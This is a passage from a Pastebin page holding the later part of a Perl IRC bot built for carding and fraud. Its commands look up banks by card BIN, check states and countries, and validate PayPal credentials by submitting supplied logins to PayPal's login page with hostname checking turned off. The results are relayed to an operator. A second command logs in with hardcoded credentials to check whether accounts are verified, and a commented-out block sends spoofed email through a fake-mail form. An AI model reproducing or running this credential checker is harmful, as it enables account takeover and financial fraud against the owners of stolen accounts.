  1087. #############################@@@@======LOCAL FILE COMMANDS=====@@@@#########################
  1088. #############################CONTACT ME : [email protected]################################
  1089. ############################################################################################
  1090. if($msg{'what'} =~ /^$statecmd (.*)/){
  1091. my $statesinfo = $1;
  1092. &respond_to_privmsg(\%msg,"7,1Checking State : 0,1-15 $statesinfo0,1 -");
  1093. print "Checking State...\n";
  1094. my $statedatabase = "state.txt";
  1095. open FILE,"$statedatabase" or die "Can't open file: $statedatabase";
  1096. my @results=<FILE>;
  1097. close FILE;
  1098. my $statevar = 0;
  1099. my $nostatevar = 0;
  1100. my $statex = substr($statesinfo,0,2);
  1101. foreach my $url (@results){
  1102. if($url =~ /$statex\|(.*)/){
  1103. if($statevar == 0) {
  1104. &respond_to_privmsg(\%msg,"7,1Checking State : 0-15 3is9 $1 0-");
  1105. goto finish;
  1106. }
  1107. }
  1108. else{
  1109. $nostatevar = 1;
  1110. }
  1111. }
  1112. if($nostatevar == 1) {
  1113. &respond_to_privmsg(\%msg,"7,1Checking State : 0,1-4 Could not Retrieve State. 0,1-");
  1114. }
  1115. finish:
  1116. }
  1117.  
  1118. if($msg{'what'} =~ /^$countrycmd (.*)/){
  1119. my $countryinfo = $1;
  1120. &respond_to_privmsg(\%msg,"7,1Checking Country : 0,1-15 $countryinfo0,1 -");
  1121. print "Checking Country...\n";
  1122. my $countrydatabase = "country.txt";
  1123. open FILE,"$countrydatabase" or die "Can't open file: $countrydatabase";
  1124. my @results=<FILE>;
  1125. close FILE;
  1126. my $countryvar = 0;
  1127. my $nostatevar = 0;
  1128. my $countryx = substr($countryinfo,0,2);
  1129. foreach my $url (@results){
  1130. if($url =~ /$countryx\|(.*)/){
  1131. if($countryvar == 0) {
  1132. &respond_to_privmsg(\%msg,"7,1Checking Country : 0-15 3is9 $1 0-");
  1133. goto finish;
  1134. }
  1135. }
  1136. else{
  1137. $nostatevar = 1;
  1138. }
  1139. }
  1140. if($nostatevar == 1) {
  1141. &respond_to_privmsg(\%msg,"7,1Checking Country : 0,1-4 Could not Retrieve Country. 0,1-");
  1142. }
  1143. finish:
  1144. }
  1145. #####################################################################################
  1146. #####################################################################################
  1147. if($msg{'what'} =~ /^$bankcmd\s(\d{6})/){
  1148. my $bankinfo = $1;
  1149. my $database = "banklist.txt";
  1150. open FILE,"$database" or die "Can't open file: $database";
  1151. my @results=<FILE>;
  1152. close FILE;
  1153. my $bankvar = 0;
  1154. my $chkvar = 0;
  1155. foreach my $url (@results){
  1156. if($url =~ /$bankinfo\|(.*)/){
  1157. if($bankvar == 0) {
  1158. $bankvar = 1;
  1159. &respond_to_privmsg(\%msg,"7,1Bank :3 $1");
  1160. goto finish;
  1161. }
  1162. }
  1163. else{
  1164. $chkvar = 1;
  1165. }
  1166. }
  1167. if($chkvar == 1) {
  1168. &respond_to_privmsg(\%msg,"7,1Bank :4 Could not retreive bank.");
  1169. }
  1170. finish:
  1171. }
  1172. ################################################ SEND MAIL ################################################
  1173. #if($msg{'what'} =~ /^!sendmail\s+(.*) (.*) (.*) (.*)/) {
  1174. # my ($to,$from,$subject,$text) = ($1,$2,$3,$4);
  1175. # &respond_to_privmsg(\%msg,"7,1Send Mail: 3,1to 9,1$to 3,1From : 8,1$from 3,1Subject : 15,1$subject 3,1Text : 0,1$text 1,0 : Please wait...");
  1176. #print "Sending Mail...\n";
  1177. #my $agent = WWW::Mechanize->new( autocheck => 1 );
  1178. #my $formfiller = WWW::Mechanize::FormFiller->new();
  1179. #$agent->env_proxy();
  1180. #$agent->get('http://mikitri.com/sys/fakemail.html?usite=&ulogo=&ucss=&uname=');
  1181. #$agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  1182. # { local $^W; $agent->current_form->value('mailto', ''.$to.''); };
  1183. # { local $^W; $agent->current_form->value('mailby', ''.$from.''); };
  1184. # { local $^W; $agent->current_form->value('mailsubject', ''.$subject.''); };
  1185. # { local $^W; $agent->current_form->value('message', ''.$text.''); };
  1186. # $agent->submit();
  1187. # print $agent->content,"\n";
  1188. #my $secres=$agent->content;
  1189. #if ($secres =~/Email terkirim ke/g){
  1190. # &respond_to_privmsg(\%msg,"7,1Send Mail: 3,1Email has been successfully send to 9,1$to");
  1191. # }
  1192. #}
  1193. #############################@@@@======INTERFACE COMMANDS=====@@@@###############################
  1194. if($msg{'what'} =~ /\!hop (.*)/)
  1195. {
  1196. if(&ctrl_admin(\%msg) == 0){
  1197. $irc_socket->write("PART ".$1." ".$2."\n");
  1198. $irc_socket->write("JOIN ".$1." ".$2."\r\n");
  1199. }
  1200. }
  1201. ######################################################################################
  1202. if($msg{'what'} =~ /\!j (.*)/)
  1203. {
  1204. my $channel = $1;
  1205. if(&ctrl_admin(\%msg) == 0){
  1206. $irc_socket->write("JOIN $channel\r\n");
  1207. }
  1208. }
  1209. if($msg{'what'} =~ /\!hop (.*)/)
  1210. {
  1211. if(&ctrl_admin(\%msg) == 0){
  1212. $irc_socket->write("PART ".$1." ".$2."\n");
  1213. $irc_socket->write("JOIN ".$1." ".$2."\r\n");
  1214. }
  1215. }
  1216. ######################################################################################
  1217. if($msg{'what'} =~ /\!rename (.*)/)
  1218. {
  1219. my $rename = $1;
  1220. if(&ctrl_admin(\%msg) == 0){
  1221. $irc_socket->write("NICK $rename\r\n");
  1222. }
  1223. }
  1224. ######################################################################################
  1225. if($msg{'what'} =~ /\!ignore (.*)/)
  1226. {
  1227. my $ignore = $1;
  1228. if(&ctrl_admin(\%msg) == 0){
  1229. $irc_socket->write("MSG Betan :7,1 Ignored 14=>4 $1 \r\n");
  1230. addlog("ignore.txt", "$1|$1|Ignore");
  1231. }
  1232. }
  1233. ######################################################################################
  1234.  
  1235. ######################################################################################
  1236. if($msg{'what'} =~ /\!part (.*)/)
  1237. {
  1238. my $parted = $1;
  1239. if(&ctrl_admin(\%msg) == 0){
  1240. $irc_socket->write("part ".$parted."\r\n");
  1241. }
  1242. }
  1243. ####################################################################################
  1244. ####################################################################################
  1245. if($msg{'what'} =~ /\!out(.*)/)
  1246. {
  1247. my $qmsg = $1;
  1248. if(&ctrl_admin(\%msg) == 0){
  1249. $irc_socket->write("quit ".$qmsg."\r\n");
  1250.  
  1251. }
  1252. }
  1253.  
  1254. ######################################################################################
  1255.  
  1256. if($msg{'what'} =~ /\!rax (.*)/)
  1257. {
  1258. my $raw = $1;
  1259. if(&ctrl_admin(\%msg) == 0){
  1260. &respond_to_privmsg(\%msg,"15,1[4RAW15]12 SENDING IRC RAW REQUESTED");
  1261. $irc_socket->write($raw."\r\n");
  1262. }
  1263. }
  1264. #############################@@@@======ADDED payPaL Chk!=====@@@@######################
  1265. if($msg{'what'} =~ /^!chkpp\s+(.*) (.*)/)
  1266. {
  1267. my ($chkpp,$pppass) = ($1,$2);
  1268. chop($pppass);
  1269. &respond_to_privmsg(\%msg,"7,1Checking Paypal : 0,1-15 ${chkpp}:$pppass 0,1-\r\n");
  1270. my $cookie = HTTP::Cookies->new(file => 'cookie',autosave => 1,);
  1271. my $agent = WWW::Mechanize->new(cookie_jar => $cookie, autocheck => 0, ssl_opts => {verify_hostname => 0},);
  1272. $agent->env_proxy();
  1273. $agent->get('https://www.paypal.com/us/cgi-bin/webscr?cmd=_login-run');
  1274. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  1275. $agent->form_number(3);
  1276. { local $^W; $agent->current_form->value('login_email', ''.$chkpp.''); };
  1277. { local $^W; $agent->current_form->value('login_password', ''.$pppass.''); };
  1278. $agent->submit();
  1279. my $internal=$agent->content;
  1280.  
  1281. if ($internal =~/Please make sure you enter your/){
  1282. &respond_to_privmsg(\%msg,"7,1Checking PayPal :3 ${ppchek} 0is 4Error! 15Contact 7Betan\r\n");
  1283. $irc_socket->write("PRIVMSG Betan :15,1[12,01 PAYPAL 15]04 check login username/password !\r\n");
  1284. }
  1285. elsif ($internal =~/Please take a moment to choose and answer 2 security questions./){
  1286. &respond_to_privmsg(\%msg,"7,1Checking PayPal :3 ${ppchek} 0is 4Error! 15Contact 7Betan\r\n");
  1287. $irc_socket->write("PRIVMSG Betan :15,1[12,01 PAYPAL 15]04 check account security question !\r\n");
  1288. }
  1289. }
  1290. #############################CONTACT ME : [email protected]###########################
  1291. #######################################################################################
  1292. if($msg{'what'} =~ /^$ppcmd (.*)/)
  1293. {
  1294. my ($ppchek) = ($1);
  1295. chop($ppchek);
  1296. &respond_to_privmsg(\%msg,"7,1Checking Paypal : 0,1-15 ${ppchek} 0,1-\r\n");
  1297. my $cookie = HTTP::Cookies->new(file => 'cookie',autosave => 1,);
  1298. my $agent = WWW::Mechanize->new(cookie_jar => $cookie, autocheck => 0, ssl_opts => {verify_hostname => 0},);
  1299. $agent->env_proxy();
  1300. $agent->get('https://www.paypal.com/us/cgi-bin/webscr?cmd=_login-run');
  1301. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  1302. $agent->form_number(3);
  1303. { local $^W; $agent->current_form->value('login_email', '[email protected]'); };
  1304. { local $^W; $agent->current_form->value('login_password', 'a1b2c3d4e5!)(*)!@#'); };
  1305. $agent->submit();
  1306. my $internal=$agent->content;
  1307.  
  1308. if ($internal =~/Please make sure you enter your/){
  1309. &respond_to_privmsg(\%msg,"7,1Checking PayPal :3 ${ppchek} 0is 4Error! 15Contact 7Betan\r\n");
  1310. $irc_socket->write("PRIVMSG Betan :15,1[12,01 PAYPAL 15]04 check login username/password !\r\n");
  1311. }
  1312. elsif ($internal =~/Please take a moment to choose and answer 2 security questions./){
  1313. &respond_to_privmsg(\%msg,"7,1Checking PayPal :3 ${ppchek} 0is 4Error! 15Contact 7Betan\r\n");
  1314. $irc_socket->write("PRIVMSG Betan :15,1[12,01 PAYPAL 15]04 check account security question !\r\n");
  1315. }
  1316. else {
  1317. print "Logging you in securely \r\n";
  1318. $agent->follow_link( url_regex => qr/login_access/i );
  1319. $agent->get('https://www.paypal.com/us/verified/pal='.$ppchek.'');
  1320. my $resp=$agent->content;
  1321. if ($resp =~/is PayPal Verified/){
  1322. &respond_to_privmsg(\%msg,"7,1Checking Paypal : 0,1-14 Result15 ${ppchek} 0is 9VERIFIED! 0,1-\r\n");
  1323. }
  1324. elsif ($resp =~/is NOT PayPal Verified/){
  1325. &respond_to_privmsg(\%msg,"7,1Checking Paypal : 0,1-14 Result15 ${ppchek} 0is 4UNVERIFIED! 0,1-\r\n");
  1326. }
  1327. elsif ($resp =~/Your access to view member information is currently limited/){
  1328. &respond_to_privmsg(\%msg,"14,01[15 ResuLT 14] 04 check account access limit !\r\n");
  1329. print "Your access to view member information is currently limited. Please try back at another time.\r\n";
  1330. }
  1331. }
  1332. }
  1333. } #enf if($bof
  1334. } #end of while
  1335.  
  1336. ######################################################################################
  1337.  
  1338. # sub ctrl_premium()
  1339. # # {
  1340. # my $data = $_[0];
  1341. # my $who = $msg{'from'};
  1342. # my $who = $msg{'from'};
  1343. # foreach my $premium ( @premium )
  1344. # {
  1345. # if($premium eq $data->{'from'})
  1346. # {
  1347. # return(0);
  1348. # }
  1349. # }
  1350. # my $who = $msg{'from'};
  1351. # # my $who = $msg{'from'};
  1352. # $irc_socket->write("NOTICE $who <Premium> You are not a premium member. Contact <rcoder>\r\n");
  1353. # &respond_to_privmsg($data," $who Sorry. Get Premium User only 1\$ for 30 credits - /MSG rcoder");
  1354. # return(-1);
  1355. # }
  1356. # # }
  1357. ######################################################################################
  1358. sub chkcredit()
  1359. {
  1360. my $creditfile = "credit.txt";
  1361. my $nick = $_[0];
  1362. my $open = open(CR,"<",$creditfile);
  1363. if(!$open){
  1364. #$irc_socket->write("privmsg $channel :Can't Open Credit Database\r\n");
  1365. goto stop;
  1366. return(3);
  1367. }else{
  1368. my @lines = <CR>;
  1369. foreach $line (@lines){
  1370. if($line =~ m/$nick/){
  1371. return(2);
  1372. } # End if $line
  1373. } # Endforeach
  1374. } # End else
  1375. return(1);
  1376. stop:
  1377. AddLog($creditfile,"");
  1378.  
  1379. }
  1380.  
  1381.  
  1382.  
  1383. sub addcredit(){
  1384. my $nick = $_[0];
  1385. my $credit = $_[1];
  1386. &DelLine($creditfile,$nick);
  1387. my $data = $nick."|".$credit;
  1388. open(FILE,'>>',$creditfile);
  1389. print FILE $data . "\n";
  1390. close(FILE);
  1391. }
  1392.  
  1393. sub AddLog()
  1394. {
  1395. my($file,$data) = @_;
  1396. open(FILE,'>>',$file);
  1397. print FILE $data . "\n";
  1398. close(FILE);
  1399. }
  1400. ######################################################################################
  1401. sub ctrl_admin()
  1402. {
  1403. my $data = $_[0];
  1404. foreach my $admin ( @adminnya)
  1405. {
  1406. if($admin eq $data->{'from'})
  1407. {
  1408. return(0);
  1409. }
  1410. }
  1411. &respond_to_privmsg($data,"4Only Premium can use this command!");
  1412. return(-1);
  1413. }
  1414. ######################################################################################
  1415. sub ctrl_dumps()
  1416. {
  1417. my $data = $_[0];
  1418. foreach my $admin ( @s4l1ty )
  1419. {
  1420. if($admin eq $data->{'from'})
  1421. {
  1422. return(0);
  1423. }
  1424. }
  1425. &respond_to_privmsg($data,"15,01[4BLOCK15,01]0 You are 04NOT0,01 Allowed to use this function.!");
  1426. return(-1);
  1427. }
  1428. ######################################################################################
  1429. sub respond_to_privmsg()
  1430. {
  1431. my ($data,$m) = ($_[0],$_[1]);
  1432. if($data->{'to'} =~ /#/)
  1433. {
  1434. &privmsg($data->{'to'},$m);
  1435. }
  1436. return(0);
  1437. }
  1438. ######################################################################################
  1439. sub privmsg()
  1440. {
  1441. my($nick,$send) = @_;
  1442. $irc_socket ->write("PRIVMSG ".$nick." :".$send."\r\n");
  1443. }
  1444. ######################################################################################
  1445. sub get_msg()
  1446. {
  1447. my $line = $_[0];
  1448. my %data;
  1449. if($line =~ /:(.*?)!(.*?) PRIVMSG(.*?) :(.*)/)
  1450. {
  1451. $irc_socket->write("PRIVMSG #log :$1 $3 msg=>> $4 \r\n");
  1452. $data{'from'} = $1;
  1453. $data{'to'} = $3;
  1454. $data{'what'} = $4;
  1455. }
  1456. return(%data);
  1457. }
  1458. ######################################################################################
  1459.  
  1460. sub http_request()
  1461. {
  1462. my($site,$request,$ua,$resp,$cnt);
  1463. $site = $_[0];
  1464. $site =~ s/[\r\n]//g;
  1465. $request = HTTP::Request->new(GET => $site);
  1466. $ua = LWP::UserAgent->new(agent => $user_agents[rand(scalar(@user_agents))]);
  1467. $ua->timeout($timeout);
  1468. $resp = $ua->request($request);
  1469. $cnt = $resp->content();
  1470. return($cnt);
  1471. }
  1472. ######################################################################################
  1473. sub get_user_agents()
  1474. {
  1475. my @us_ag = (
  1476. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511",
  1477. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1",
  1478. "Opera/8.5 (X11; Linux i686; U; cs)",
  1479. "Links (2.1pre17; Linux 2.6.11-gentoo-r8 i686; 80x24)"
  1480. );
  1481. return(@us_ag);
  1482. }
  1483. ######################################################################################
  1484. sub get_all_host()
  1485. {
  1486. my $site = $_[0];
  1487. my @dirs = ();
  1488. my @ret = ();
  1489. my $tmp = "";
  1490. $site =~ s/http:\/\///g;
  1491. $site =~ s/[\r\n]//g;
  1492. $site =~ s/\/\///g;
  1493. if($site !~ /\/$/)
  1494. {
  1495. $site .= "/";
  1496. }
  1497.  
  1498. @dirs = split(/\//,$site);
  1499. $tmp = $dirs[0] . "/";
  1500. push(@ret,$tmp);
  1501.  
  1502. for($i = 1; $i < scalar(@dirs); $i++)
  1503. {
  1504. $tmp .= $dirs[$i] . "/";
  1505. push(@ret,$tmp);
  1506. }
  1507.  
  1508. return(@ret);
  1509. }
  1510. ######################################################################################
  1511. sub urlencode()
  1512. {
  1513. my $str = $_[0];
  1514. $str =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
  1515. return $str;
  1516. }
  1517. ######################################################################################
  1518. sub unique()
  1519. {
  1520. my @unici = ();
  1521. my %visti = ();
  1522. foreach my $elemento (@_) {
  1523. $elemento =~ s/\/+/\//g;
  1524. next if $visti{$elemento}++;
  1525. push @unici, $elemento;
  1526. }
  1527. return @unici;
  1528. }
  1529. ######################################################################################
  1530. sub changecmd()
  1531. {
  1532. my $n = $_[0];
  1533. push(@botcmd,$n);
  1534. }
  1535. ######################################################################################
  1536. sub get_content() {
  1537. my $url = $_[0];
  1538. my $ua = LWP::UserAgent->new(agent => $uagent);
  1539. $ua->timeout(10);
  1540. my $req = HTTP::Request->new(GET => $url);
  1541. my $res = $ua->request($req);
  1542. return $res->content;
  1543. }
  1544. ######################################################################################
  1545. sub read_all_file_array()
  1546. {
  1547. my $file = $_[0];
  1548. my @ret = ();
  1549.  
  1550. open(FILE,'<',$file);
  1551. while($a = <FILE>)
  1552. {
  1553. $a =~ s/[\r\n]//g;
  1554. push(@ret,$a);
  1555. }
  1556. close(FILE);
  1557.  
  1558. return(@ret);
  1559. }
  1560. ######################################################################################
  1561. sub write_to_file_array()
  1562. {
  1563. my ($file,$data,$scal) = @_;
  1564. for($i = 0; $i < $scal; $i++)
  1565. {
  1566. &AddLog($file,$data->[$i]);
  1567. }
  1568. }
  1569. ######################################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!